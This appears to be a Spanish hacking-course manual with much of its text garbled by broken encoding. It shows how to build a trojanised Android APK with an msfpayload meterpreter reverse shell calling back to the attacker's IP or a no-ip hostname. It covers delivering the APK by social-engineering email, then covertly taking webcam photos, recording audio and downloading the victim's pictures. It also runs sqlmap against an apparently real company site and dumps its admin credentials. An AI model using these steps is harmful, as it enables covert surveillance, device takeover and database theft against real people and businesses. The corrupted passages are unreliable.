0% encontró este documento útil (0 votos)
64 vistas66 páginas

Explotación de Android con Metasploit

Cargado por

ArgelYañez
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
64 vistas66 páginas

Explotación de Android con Metasploit

Cargado por

ArgelYañez
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd

!"##$% '()* + ,"(- .

-/$0 123%43 ,"5%$6 74)$8%$249$-:$


;3-2"0:3%( '()*4-/ <=>4)3
SUMMLk nACk 2












PerramlenLas :

MeLasplolL
nmap
Consola o Lermlnal
hyLon
SCLMap
hoLorec






;3-2"0:3%( '()*4-/ <=>4)3



1.-Ataque a D|spos|t|vos Andro|d con Metasp|o|t


1.-Consola de MeLasplolL
1.1.-busqueda de mdulos y explolLs para Androld
2.1.-Creaclon de un .Apk" lnfecLado para su lnsLalacln en un slsLema Androld
2.2.-lnsLalaclon del .Apk" (lnLervencln del usuarlo)
3.-LxploLaclon Local y 8emoLa
3.1.-Acceso local al dlsposlLlvo
3.2.-Mane[o de la sesln meLerpreLer" en el ulsposlLlvo lnfecLado
3.3.-Conoclendo las cmaras de foLografla del dlsposlLlvo
3.4.-1omando foLograflas con el ulspoLlvo (cmara fronLal y delanLera)
3.3.-8obo de lnformacln , foLograflas , bd de whaLsapp (en caso de Lener)
3.6.-LxploLaclon 8emoLa
3.6.1.-Conoclendo nuesLra lnfraesLrucLura (provedor de servlclo , Modem , velocldad de
conexln)
3.6.2.-Conoclendo el Servlclo no-lp + creacln y conflguracln de nuesLro modem
3.7.-LxploLaclon 100 remoLa.



2.-Automat|zando ataques con |a herram|enta "SL-Map"


1.-lnyecclon SCL . Cue es?
2.-lacLores que proplclan esLa vulnerabllldad
3.-lnsLalaclon de la herramlenLa SCL MA
4.-lnsLalaclon de hyLon (Wlndows)
3.-Conoclendo la herramlenLa SCL MA
6.-Conoclendo a nuesLro ob[eLlvo
6.1.-nmap Scanner
6.2.-Whols
6.3.-CbLenclon de Malls medlanLe scrlpL en phyLon
7.-CbLenclon de uaLos de Mysql
8.-CbLenclon de usuarlos
9.-8uscando el anel de AdmlnlsLraclon medlanLe la herramlenLa ulr 8usLer"
10.-lnsLalando el LnLorno graflco de SCL-Map"




!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3







3.- kecuperac|n de Datos med|ante conso|a

1.-Conoclendo el SofLware hoLo8ec"
2.-lnsLalaclon y creacln de Allas
3.-erdlendo/8orrando uaLos en una uS8/Puu
4.-L[erclclo de 8ecuperaclon
3.-Anallsls de uaLos
6.-8ecuperaclon de Archlvos a nlvel lorense





























;3-2"0:3%( '()*4-/ <=>4)3

1.-Ataque a D|spos|t|vos Andro|d con Metasp|o|t


In|c|amos abr|endo nuestra conso|a de Metasp|o|t





Ver|f|camos |os exp|o|ts y mdu|os d|spon|b|es :







!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3


Crearemos un ".Apk" con lnfeccln para la obLencln de una sesln con meLerpreLer de
manera remoLa y local.





1.-Lntramos en |a carpeta de |nsta|ac|n , en este caso |a ruta de |nsta|ac|n en m|
computadora es |a s|gu|ente "]opt]msf"

Mac8ook-ro-de-Makuaz:] Makuaz5 !" $%&'$()*$
Mac8ook-ro-de-Makuaz:msf Makuaz5 &+"
/opL/msf



DA1CS DL CCNLkICN L INIkALS1kUC1UkA U1ILI2ADCS DUkAN1L LS1L A1AUL

A1ACAN1L I : 192.68.1.2S2
ULk1C A1ACAN1L : 6789

VIC1IMA : [Link]



2.-una vez en la carpeLa de lnsLalacln de MeLasplolL usaremos el slgulenLe comando

./msfpayload androld/meLerpreLer/reverse_Lcp LPCS1=l_LCCAL/nC-l
LC81=uL81C 8 > /8u1A/nombre_de_la_app.apk"

./msfpayload androld/meLerpreLer/reverse_Lcp LPCS1=192.168.1.2S2 LC81=6789 8 >
/8u1A/hack|ng_mex|[Link]"


;3-2"0:3%( '()*4-/ <=>4)3



3.-Creac|on de |a ap||cac|n para Andro|d.























!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3



4.-Conoc|endo a nuestro ob[et|vo








I|cha 1cn|ca
1ab|et C - |1780
7 pulgadas 800x480 1l1 lmgenes claras y colorldas
3-punLos capaclLlve Louch screen" para fcll operacln
Memorla lnLerna: 8C8
uu83: 312M8 y con 1-llash LxLerna hasLa 32C8
Wlfl con velocldad: 130Mbps
;3-2"0:3%( '()*4-/ <=>4)3
CompaLlble con senal 3C

S.-Insta|ac|on de| ".Apk" |nfectado



Ln esLa parLe del proceso se requlere lnLervencln del usuarlo para lnsLalar la apllcacln
en el dlsposlLlvo.
Pay muchas maneras de hacerlo una de ellas es la lngenlerla soclal .
Ln esLe Caso he envlando la apllcacln por correo elecLrnlco y procedl a la lnsLalacln.












!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3






















;3-2"0:3%( '()*4-/ <=>4)3


Descarga e |nsta|ac|n de| ".Apk"




!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3













;3-2"0:3%( '()*4-/ <=>4)3












6.-Lxp|otac|on Med|ante Metasp|o|t

ConLlnuamos oslclonados en la carpeLa de lnsLalacln , y procedemos a e[ecuLar el
slgulenLe comando.

,-$()*!./ 01&.%/'$(2.'/$345".06 789:;8<=45"6%/"$(0'06&60'06$60>06)0?'!&
:@;AB=!"#$%&'$()%*!" :7;CB="+,-.% D ,

,-$()*!./ 01&.%/'$(2.'/$345".06 789:;8<=45"6%/"$(0'06&60'06$60>06)0?'!&
:@;AB=/012/342/2151 :7;CB=3640 D ,
!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3


Como podemos observar el pay|oad esLa esperando la conexln con la 1ableL , en esLe
caso es necesarlo e[ecuLar la apllcacln en el dlsposlLlvo.

A?LCAu => androld/meLerpreLer/reverse_Lcp
LPCS1 => [Link]
LC81 => 6789
[*] SLarLed reverse handler on [Link]:6789
[*] SLarLlng Lhe payload handler...

A?LCAu => androld/meLerpreLer/reverse_Lcp
LPCS1 => [Link]
LC81 => 6789
[*] SLarLed reverse handler on [Link]:6789
[*] SLarLlng Lhe payload handler...
[*] Sendlng sLage (39698 byLes) Lo [Link]
[*] MeLerpreLer sesslon 1 opened ([Link]:6789 -> [Link]:49423) aL 2013-
09-17 12:20:37 -0300

meLerpreLer >


;3-2"0:3%( '()*4-/ <=>4)3
una vez obLenlda la sesln de meLerpreLer , vamos a revlsar las opclones dlsponlbles
medlanLe el comando help".



meLerpreLer > help

Core Commands
=============
Command uescrlpLlon
------- -----------
? Pelp menu
background 8ackgrounds Lhe currenL sesslon
bgklll kllls a background meLerpreLer scrlpL
bgllsL LlsLs runnlng background scrlpLs
bgrun LxecuLes a meLerpreLer scrlpL as a background Lhread
channel ulsplays lnformaLlon abouL acLlve channels
close Closes a channel
dlsable_unlcode_encodlng ulsables encodlng of unlcode sLrlngs
enable_unlcode_encodlng Lnables encodlng of unlcode sLrlngs
exlL 1ermlnaLe Lhe meLerpreLer sesslon
help Pelp menu
lnfo ulsplays lnformaLlon abouL a osL module
lnLeracL lnLeracLs wlLh a channel
lrb urop lnLo lrb scrlpLlng mode
load Load one or more meLerpreLer exLenslons
qulL 1ermlnaLe Lhe meLerpreLer sesslon
read 8eads daLa from a channel
resource 8un Lhe commands sLored ln a flle
run LxecuLes a meLerpreLer scrlpL or osL module
use ueprecaLed allas for 'load'
wrlLe WrlLes daLa Lo a channel


SLdapl: llle sysLem Commands
============================
Command uescrlpLlon
------- -----------
caL 8ead Lhe conLenLs of a flle Lo Lhe screen
cd Change dlrecLory
download uownload a flle or dlrecLory
edlL LdlL a flle
geLlwd rlnL local worklng dlrecLory
geLwd rlnL worklng dlrecLory
!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3
lcd Change local worklng dlrecLory
lpwd rlnL local worklng dlrecLory
ls LlsL flles
mkdlr Make dlrecLory
pwd rlnL worklng dlrecLory
rm ueleLe Lhe speclfled flle
rmdlr 8emove dlrecLory
search Search for flles
upload upload a flle or dlrecLory


SLdapl: neLworklng Commands
===========================

Command uescrlpLlon
------- -----------
lfconflg ulsplay lnLerfaces
lpconflg ulsplay lnLerfaces
porLfwd lorward a local porL Lo a remoLe servlce
rouLe vlew and modlfy Lhe rouLlng Lable


SLdapl: SysLem Commands
=======================
Command uescrlpLlon
------- -----------
execuLe LxecuLe a command
geLuld CeL Lhe user LhaL Lhe server ls runnlng as
ps LlsL runnlng processes
shell urop lnLo a sysLem command shell
syslnfo CeLs lnformaLlon abouL Lhe remoLe sysLem, such as CS


SLdapl: Webcam Commands
=======================

Command uescrlpLlon
------- -----------
record_mlc 8ecord audlo from Lhe defaulL mlcrophone for x seconds
webcam_llsL LlsL webcams
webcam_snap 1ake a snapshoL from Lhe speclfled webcam



;3-2"0:3%( '()*4-/ <=>4)3
































Ut|||zamos e| comando "sys|nfo" y vemos que datos arro[a :




meLerpreLer > syslnfo
CompuLer : localhosL
CS : Llnux 3.0.8+ (armv7l)
!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3
MeLerpreLer: [ava/[ava

Comando "webcam_||st" , para ||star |as cmaras web en e| d|spos|t|vo.



Comando "webcam_snap" , para tomar una foto en t|empo rea| con e| d|spos|t|vo.






Comando "|fconf|g" , para rev|sar |as |nterfaces de red y |a mac address de| equ|po.
;3-2"0:3%( '()*4-/ <=>4)3

Comando "record_m|c" , para grabar aud|o con e| d|spos|t|vo :

!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3


Comando "ps" , para ||star |os procesos que estn corr|endo en e| d|spos|t|vo.













Comando "|s" , para ||star |os arch|vos.

;3-2"0:3%( '()*4-/ <=>4)3



Comando "pwd" , para ver en que carpeta o phat estamos pos|c|onados.



nos oslclonamos en la ruLa /mnL/sdcard/lcLures/" que en esLe caso es la ruLa donde la
1ableL guarda las foLos en la memorla exLerna.

meLerpreLer > cd /mnL/sdcard/lcLures
meLerpreLer >ls














Ahora descargaremos una foto a nuestro escr|tor|o med|ante e| comando "down|oad".

!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3
meLerpreLer > download 01.[pg /users/Makuaz/ueskLop
meLerpreLer > download 01.[pg /Lu_/ruLa/






Cerramos |a ses|n de meterpreter con e| comando "ex|t".








Lxp|otac|n kemota
;3-2"0:3%( '()*4-/ <=>4)3

La exploLacln 8emoLa conslsLe en poder lnfecLar un dlsposlLlvo androld , no lmporLa en
que esLado de la republlca o pals se encuenLre , con esLe Llpo de exploLacln podremos
obLener la sesln de meLerpreLer" remoLa.





Conoc|endo nuestra |nfraestructura (proveedor de serv|c|o , Modem , Ve|oc|dad de
conex|n)

ara poder hacer la exploLacln remoLa debemos conocer blen nuesLra lnfraesLrucLura de
red y de proveedor de servlclo de lnLerneL.

-Modem
modelo y conocer la enLrada al panel de la conflguracln

-Lthernet o WIII?
Cable r[43 o lnalmbrlco

-Conex|n
ue forma opclonal debemos hacer una prueba de conexln para saber a cuanLos megas
navegamos.






Suponlendo que conLamos con un modem 2wlre de 1elmex y conoclendo que es
lnalmbrlco , procederemos a abrlr los puerLos medlanLe una sencllla conflguracln.

!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3
or lo regular la conflguracln del modem es a Lraves de la lp [Link]"
(obvlamenLe debemos esLar conecLados)

Abrlmos nuesLro navegador y nos dlrlglmos a la dlreccln [Link]" en algunos
mdems nos pedlr el usuarlo , el cual es 1elmex" y la conLrasena es la clave wep".


Ingresamos a |a adm|n|strac|n de| modem .








;3-2"0:3%( '()*4-/ <=>4)3
Lntramos a |a conf|gurac|n de "8|oqueo de Intrusos".













Ln esLe e[emplo la compuLadora del lado derecho llamada Makuaz-rlvaLe" es la que esLa
conecLada a la red , ahl puede ser Lu equlpo y debes ldenLlflcarlo con el nombre que le
hayas puesLo a Lu pc .


!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3
















Lsco[emos "erm|t|r todas |as Ap||cac|ones (modo DM2p|us (2ona desm|||tar|zada), y
damos aceptar.


;3-2"0:3%( '()*4-/ <=>4)3




















Una vez hecho esto ke|n|c|amos e| modem para que se ap||quen |os camb|os.


!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3

una vez relnlclado vamos a verlflcar que dlreccln lp Lenemos con la ayuda de google y la
slgulenLe paglna :

hLLp://[Link]





Ahora Cop|amos y pegamos en nuestro navegador , y por e[emp|o en m| caso esta
ab|erto e| puerto para m| NAS.

;3-2"0:3%( '()*4-/ <=>4)3



Con esLo ya Lenemos Lodos los puerLos ablerLos , pero que pasa sl relnlclo ml modem y/o
se va la luz? , es claro que la lp va a camblar y la exploLacln remoLa ya no funclonara ya
que el apk lnfecLado apunLa a una lp en especlflco y como ya no Lenemos esa lp
apunLando hacla nuesLra pc y modem , de[ara de funclonar.




3.6.2.-Conoc|endo e| Serv|c|o No-|p + creac|n y conf|gurac|n de nuestro modem

!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3
Ll Servlclo no-lp nos proporclona un subdomlnlo para poder uLlllzar nuesLra lp , no
lmporLando sl cambla.

Ll reglsLro es basLanLe senclllo a Lraves de su paglna . hLLp://[Link]
una vez reglsLrado accede a add-hosL"






Lscoges el nombre e[emplo: apk_zombles" y el subdomlnlo que gusLes del lado derecho y
da cllc en Add PosL" y llsLo ya Llenes un subdomlnlo graLls apunLando a Lu lp y Lu pc.









3.7.-Lxp|otac|on 100 remota.

;3-2"0:3%( '()*4-/ <=>4)3
una vez que Lenemos conflgurado el modem en modo uMZ y el servlclo no-lp apunLando
a nuesLro modem y pc , vamos a crear el apk lnfecLado .. ero esLa vez en vez de poner lp
vamos a poner el subdomlnlo de no-lp.

una vez en la carpeLa de lnsLalacln de MeLasplolL usaremos el slgulenLe comando

72(89:;<=>?<@ <B@C?D@(8EFEC;CEFEC(CEGEC9E#FH; $I%J.K!"#$%&'$()%*!"
$"%-.K"+,-.% - L (-+.'(B?8MCE#@E#><#<;;2<;NO

72(89:;<=>?<@ <B@C?D@(8EFEC;CEFEC(CEGEC9E#FH; $I%J.K<;N#P?8MDE92@?8DBD?2B?*
D;2H?8 $"%-.K3640 - L (-+.'(Q<HNDBR#8ESDH?2<;NO


y llsLo segulmos los pasos anLerlores.




























1.-Inyecc|on SL . ju es?

!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3


1omado de Wlklpedla :

Inyecc|n SL es un meLodo de lnfllLracln de cdlgo lnLruso que se vale de una
vulnerabllldad lnformLlca.
resenLe en una apllcacln en el nlvel de valldacln de las enLradas para reallzar consulLas
a una base de daLos.

Ll orlgen de la vulnerabllldad radlca en el lncorrecLo chequeo y/o fllLrado de las varlables
uLlllzadas en un programa que conLlene, o blen genera, cdlgo SCL . Ls, de hecho, un error
de una clase ms general de vulnerabllldades que puede ocurrlr en cualquler lengua[e de
programacln y/o ScrlpL que esLe embebldo denLro de oLro

Se conoce como lnyeccln SCL, lndlsLlnLamenLe, al Llpo de vulnerabllldad, al meLodo de
lnfllLracln, al hecho de lncrusLar cdlgo SCL lnLruso y a la porcln de cdlgo lncrusLado.


2.-Iactores que prop|c|an esta vu|nerab|||dad

-Mala admlnlsLracln del servldor mysql
-MosLrar al usuarlo el error generado por la base de daLos.
-uarle al usuarlo de la base de daLos que mane[a el scrlpL o el cms permlsos mxlmos
-Ll no parameLrlzar las consulLas SCL
-Ll no rechazar las peLlclones con caracLeres especlales

3.-Insta|ac|on de |a herram|enta SL MA
;3-2"0:3%( '()*4-/ <=>4)3

uuranLe el Curso se enLregara la herramlenLa SCL MA la cual esLa compresa solo basLa
con descomprlmlr en una carpeLa deseada.












4.-Insta|ac|on de ython (W|ndows)

!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3
uebldo a que los slsLemas operaLlvos basados en Wlndows no cuenLan con soporLe naLlvo
de yLhon" , Le proporclonamos el sofLware de lnsLalacln para que puedas e[ecuLar
SCL-Map" sln nlngun problema.(32 y 64 blLs).

3.-Conoclendo la herramlenLa SCL MA

una vez lnsLalado hay que aprender a usar SCL Map" medlanLe el comando pyLhon"
vemos los comandos ulsponlbles :

7T<HU??N*"C?*@E*T<NV<PW9X>8<; T<NV<PY ;=FQ?B 9X>8<;2;= **QE>;
+9<REW ;=FQ?B 9X>8<;2;= Z?;FD?B9[O


6.-Conoc|endo a nuestro ob[et|vo
uuranLe el lnlclo del aLaque es recomendable conocer a nuesLro ob[eLlvo para saber con
que esLamos LraLando , para ello usaremos las slgulenLes herramlenLas.

nmap
Whols

6.1.-Nmap Scanner

nmap esLa dlsenado para conocer la lnfraesLrucLura flslca y lglca de nuesLra vlcLlma ,
nmap nos oLorga , versln de los servlclos y en que puerLos esLa corrlendo dlcho servlclo.

Comando CompleLo
nmap [Link]"

SLarLlng nmap 6.23 ( hLLp://[Link] ) aL 2013-09-18 00:19 Cu1
nmap scan reporL for [Link] ([Link])
PosL ls up (0.14s laLency).
runS record for [Link]: [Link]
noL shown: 989 closed porLs
C81 S1A1L SL8vlCL
21/Lcp open fLp
23/Lcp fllLered smLp
33/Lcp open domaln
80/Lcp open hLLp
106/Lcp open pop3pw
110/Lcp open pop3
143/Lcp open lmap
1720/Lcp fllLered P.323/C.931
Lscaneado Agres|vo :

;3-2"0:3%( '()*4-/ <=>4)3
nmap -sS -sv -C [Link]"

SLarLlng nmap 6.23 ( hLLp://[Link] ) aL 2013-09-18 00:22 Cu1
nmap scan reporL for [Link] ([Link])
PosL ls up (0.11s laLency).
runS record for [Link]: [Link]
noL shown: 984 closed porLs
C81 S1A1L SL8vlCL vL8SlCn
21/Lcp open fLp vsfLpd (before 2.0.8) or Wu-l1u
23/Lcp fllLered smLp
33/Lcp open domaln lSC 8lnu 9.3.1
80/Lcp open hLLp?
106/Lcp open Lcpwrapped
110/Lcp open pop3 uovecoL pop3d
143/Lcp open lmap uovecoL lmapd
1720/Lcp fllLered P.323/C.931
2222/Lcp open ssh CpenSSP 4.2 (proLocol 2.0)
2967/Lcp fllLered symanLec-av
4443/Lcp fllLered pharos
4443/Lcp fllLered upnoLlfyp
3801/Lcp fllLered vnc-hLLp-1
6839/Lcp fllLered unknown
10000/Lcp fllLered sneL-sensor-mgmL
20000/Lcp open hLLp MlnlServ 0.01 (Webmln hLLpd)


Aggresslve CS guesses: CpenWrL 0.9 - 7.09 (Llnux 2.4.30 - 2.4.34) (91), Llnux 2.6.8 -
2.6.27 (91), CpenWrL kamlkaze 7.09 (Llnux 2.6.22) (90), Llnux 2.6.21 (90), Llnux
2.6.26 (90), Llnux 2.6.18 (89), Llnux 2.6.18 - 2.6.27 (89), Llnux 2.6.16 - 2.6.20 (89),
Llnux 2.6.18 - 2.6.24 (89), Llnux 2.6.18-8.el3 (8ed PaL LnLerprlse Llnux 3) (89)
no exacL CS maLches for hosL (LesL condlLlons non-ldeal).
Servlce lnfo: PosL: LS1AS










6.2.-Who|s

!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3
Conocer reglsLranLe del domlnlo y su dlreccln.



Comando compleLo en consola o Lermlnal.

whols hLLp://[Link]"


Cadena_lnvallda/lnvalld_SLrlng

&A8AML18CS vALluCS:

&nombreCb[eLo 8usca en la base de daLos de nlC Mexlco el ob[eLo sollclLado.
&=nombreuomlnlo verlflca la dlsponlbllldad de un nombre de domlnlo.
&? MuesLra esLe mensa[e.

&nC1A:
&Sl se busca lnformacln sobre un domlnlo esLe debe perLenecer al cc1Lu .mx






















Ln esLe caso vemos que no arro[a lnformacln relevanLe asl que usaremos la slgulenLe u8L
para valldar aun mas la lnformacln

;3-2"0:3%( '()*4-/ <=>4)3
hLLp://[Link]



Como podemos ver esLa hospeado en Codaddy y Llene proLeccln de prlvacldad .
Ademas de que el domlnlo explra en febrero 2 del 2020.













6.3.-Cbtenc|on de Ma||s med|ante scr|pt en python

Ahora obLendremos los malls asoclados medlanLe un scrlpL hecho en yLhon .
!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3





L[emplo :

Ll scrlpL se encuenLra en ml escrlLorlo , desde consola me ublco en el escrlLorlo

Mac8ook-ro-de-Makuaz:sqlmap Makuaz$ cd /users/Makuaz/ueskLop/
Mac8ook-ro-de-Makuaz:ueskLop Makuaz$ pwd
/users/Makuaz/ueskLop

L[ecuLamos el scrlpL medlanLe el comando pyLhon nombre_scrlpL.py + domlnlo"

Comando compleLo

"python hm_ma||_dump.py www.b|obe|.[Link]"
















;3-2"0:3%( '()*4-/ <=>4)3
6.3.1.- L| webs|te de| ob[et|vo (target)






6.4.-8uscando e| error de mysq|

hLLp://[Link]/blobel/[Link]?ba_ld='








!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3
7.-Cbtenc|on de Datos de Mysq| , Manos a |a obra

Comando CompleLo

Mac8ook-ro-de-Makuaz:sqlmap Makuaz$ "python sq|[Link] -u
http:]][Link]]b|obe|]b|oexpres|[Link]?ba_|d="


Informac|n Destacada :

[23:37:30] [lnlC] Lhe back-end u8MS ls MySCL
web server operaLlng sysLem: Llnux CenLCS 3.8
web appllcaLlon Lechnology: P 3.3.23, Apache 2.2.3
back-end u8MS: MySCL 3.0
[23:37:30] [lnlC] feLched daLa logged Lo LexL flles under
'/volumes/uaLos/uocumenLos/hax0r/sqlmap/ouLpuL/[Link]'























;3-2"0:3%( '()*4-/ <=>4)3
7.1.-L|star base de datos d|spon|b|es

uLlllzaremos el comodln 7**@M9O para llsLar las bases de daLos dlsponlbles , por lo regular
las bases de daLos se llaman lgual que el domlnlo.

uonde 7**@M9O = 8ase de uaLos

Comando CompleLo
7T<HU??N*"C?*@E*T<NV<PW9X>8<; T<NV<PY ;=FQ?B 9X>8<;2;= *V
QFF;W((/012/342/2/\](MD?ME>(MD?ES;CE9D?B2;Q;^M<#D@K **@M9O


Informac|n Destacada :

[23:42:10] [lnlC] Lhe back-end u8MS ls MySCL
web server operaLlng sysLem: Llnux CenLCS 3.8
web appllcaLlon Lechnology: P 3.3.23, Apache 2.2.3
back-end u8MS: MySCL 3.0
[23:42:10] [lnlC] feLchlng daLabase names
[23:42:10] [lnlC] Lhe SCL query used reLurns 3 enLrles
[23:42:10] [lnlC] resumed: "lnformaLlon_schema"
[23:42:10] [lnlC] resumed: "blobel_web"
[23:42:10] [lnlC] resumed: "boLargas"
[23:42:10] [lnlC] resumed: "mysql"
[23:42:10] [lnlC] resumed: "LesL"
avallable daLabases [3]:
[*] blobel_web
[*] boLargas
[*] lnformaLlon_schema
[*] mysql
[*] LesL



!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3
7.-2.-Cbtenc|on de 1ab|as de |a base de datos

uLlllzaremos los comodlnes 7**F<M>E9O 7*_O

uonde 7`F<M>E9O = 1ablas
uonde 7*_O = 8ase de uaLos

Comando CompleLo:
Mac8ook-ro-de-Makuaz:sqlmap Makuaz$ 7;=FQ?B 9X>8<;2;= *V
QFF;W((/012/342/2/\](MD?ME>(MD?ES;CE9D?B2;Q;^M<#D@K **F<M>E9 *_ MD?ME>#aEMO

Informac|n Destacada :

[23:46:28] [lnlC] Lhe back-end u8MS ls MySCL
web server operaLlng sysLem: Llnux CenLCS 3.8
web appllcaLlon Lechnology: P 3.3.23, Apache 2.2.3
back-end u8MS: MySCL 3.0
[23:46:28] [lnlC] feLchlng Lables for daLabase: 'blobel_web'
[23:46:28] [lnlC] Lhe SCL query used reLurns 21 enLrles
uaLabase: blobel_web
[21 Lables]
+------------------------+
| admlns |
| blo_arLlculos |
| blo_arLlrel |
| blo_numeros |
| blo_relaclonados |
| caLegorlas |
| cllenLes |
| conLacLo |
| correos |
| dlsLrlbuldores |
| esLados |
| lanzamlenLos |
| llneas |
| malllng_cllcks |
| malllng_envlos |
| malllng_llnks |
| malllng_vlsLas |
| producLos |
| producLos_LraLamlenLos |
| sllder |
| LraLamlenLos |
+------------------------+
;3-2"0:3%( '()*4-/ <=>4)3

7.3.-Usmeando en |a tab|a de usuar|os o de adm|n|strac|n.

uLlllzaremos los slgulenLes comodlnes 7**H?>V8B9O 7*_O 7*.O
uonde 7**H?>V8B9O = columnas
uonde 7*_O = 8ase de uaLos
uonde 7*.O = 1ablas

Comando CompleLo :

Mac8ook-ro-de-Makuaz:sqlmap Makuaz$ 7;=FQ?B 9X>8<;2;= *V
QFF;W((/012/342/2/\](MD?ME>(MD?ES;CE9D?B2;Q;^M<#D@K **H?>V8B9 *_ MD?ME>#aEM *.
<@8DB9O

!B:?C8<HDbB _E9F<H<@< W

[23:30:03] [lnlC] Lhe back-end u8MS ls MySCL
web server operaLlng sysLem: Llnux CenLCS 3.8
web appllcaLlon Lechnology: P 3.3.23, Apache 2.2.3
back-end u8MS: MySCL 3.0
[23:30:03] [lnlC] feLchlng columns for Lable 'admlns' ln daLabase 'blobel_web'
[23:30:03] [lnlC] Lhe SCL query used reLurns 6 enLrles
[23:30:03] [lnlC] resumed: "adm_ld","smalllnL(6)"
[23:30:03] [lnlC] resumed: "username","varchar(16)"
[23:30:03] [lnlC] resumed: "password","varchar(16)"
[23:30:03] [lnlC] resumed: "Lype","char(3)"
[23:30:03] [lnlC] resumed: "adm_nombre","varchar(24)"
[23:30:03] [lnlC] resumed: "adm_apellldo","varchar(24)"
uaLabase: blobel_web
1able: admlns
[6 columns]
+--------------+-------------+
| Column | 1ype |
+--------------+-------------+
| adm_apellldo | varchar(24) |
| adm_ld | smalllnL(6) |
| adm_nombre | varchar(24) |
| password | varchar(16) |
| Lype | char(3) |
| username | varchar(16) |
+--------------+-------------+



!"##$% '()* + ,"(- .-/$0 123%43 ,"5%$6 74)$8%$249$-:$
;3-2"0:3%( '()*4-/ <=>4)3



42*%MFEBHD?B @E +9V<CD?9 c_V8; @E >< F<M>< d &C<HNDBR @E ;<99a?C@e

uLlllzaremos los slgulenLes comodlnes 7**@V8;O f 7*_O f 7*.O

uonde 7**@V8;O = 8espaldo o dumpeo
uonde 7*_O = 8ase de uaLos
uonde 7*.O = 1ablas

Comando compleLo :

Mac8ook-ro-de-Makuaz:sqlmap Makuaz$ 7;=FQ?B 9X>8<;2;= *V
QFF;W((/012/342/2/\](MD?ME>(MD?ES;CE9D?B2;Q;^M<#D@K **@V8; *_ MD?ME>#aEM *. <@8DB9O

Informac|n Destacada :

23:36:20] [lnlC] Lhe back-end u8MS ls MySCL
web server operaLlng sysLem: Llnux CenLCS 3.8
web appllcaLlon Lechnology: P 3.3.23, Apache 2.2.3
back-end u8MS: MySCL 3.0
[23:36:20] [lnlC] feLchlng columns for Lable 'admlns' ln daLabase 'blobel_web'
[23:36:20] [lnlC] Lhe SCL query used reLurns 6 enLrles
[23:36:20] [lnlC] resumed: "adm_ld","smalllnL(6)"
[23:36:20] [lnlC] resumed: "username","varchar(16)"
[23:36:20] [lnlC] resumed: "password","varchar(16)"
[23:36:20] [lnlC] resumed: "Lype","char(3)"
[23:36:20] [lnlC] resumed: "adm_nombre","varchar(24)"
[23:36:20] [lnlC] resumed: "adm_apellldo","varchar(24)"
[23:36:20] [lnlC] feLchlng enLrles for Lable 'admlns' ln daLabase 'blobel_web'
[23:36:20] [lnlC] Lhe SCL query used reLurns 1 enLrles
[23:36:20] [lnlC] resumed: "1apla","3","ArLuro","6!","AuM","admln"
[23:36:20] [lnlC] analyzlng Lable dump for posslble password hashes
uaLabase: blobel_web
1able: admlns
[1 enLry]
+--------+--------------+------+----------+----------+------------+
| adm_ld | adm_apellldo | Lype | username | password | adm_nombre |
+--------+--------------+------+----------+----------+------------+
| 3 | 1apla | AuM | admln | 6! | ArLuro |
+--------+--------------+------+----------+----------+------------+


;3-2"0:3%( '()*4-/ <=>4)3


8.1.--E9;<>@? c_+T"e

[23:36:20] [lnlC] Lable 'blobel_web.admlns' dumped Lo CSv flle
']Vo|umes]Datos]Documentos]hax0r]sq|map]output][Link]]dump]b|obe|_web
]adm|[Link]'
[23:36:20] [lnlC] feLched daLa logged Lo LexL flles under
'/volumes/uaLos/uocumenLos/hax0r/sqlmap/ouLpuL/[Link]'

[*] shuLLlng down aL 23:36:20



02*UV9H<B@? E> "<BE> @E '@8DBD9FC<HDbB 8E@D<BFE >< QECC<8DEBF< 7_DC UV9FECO

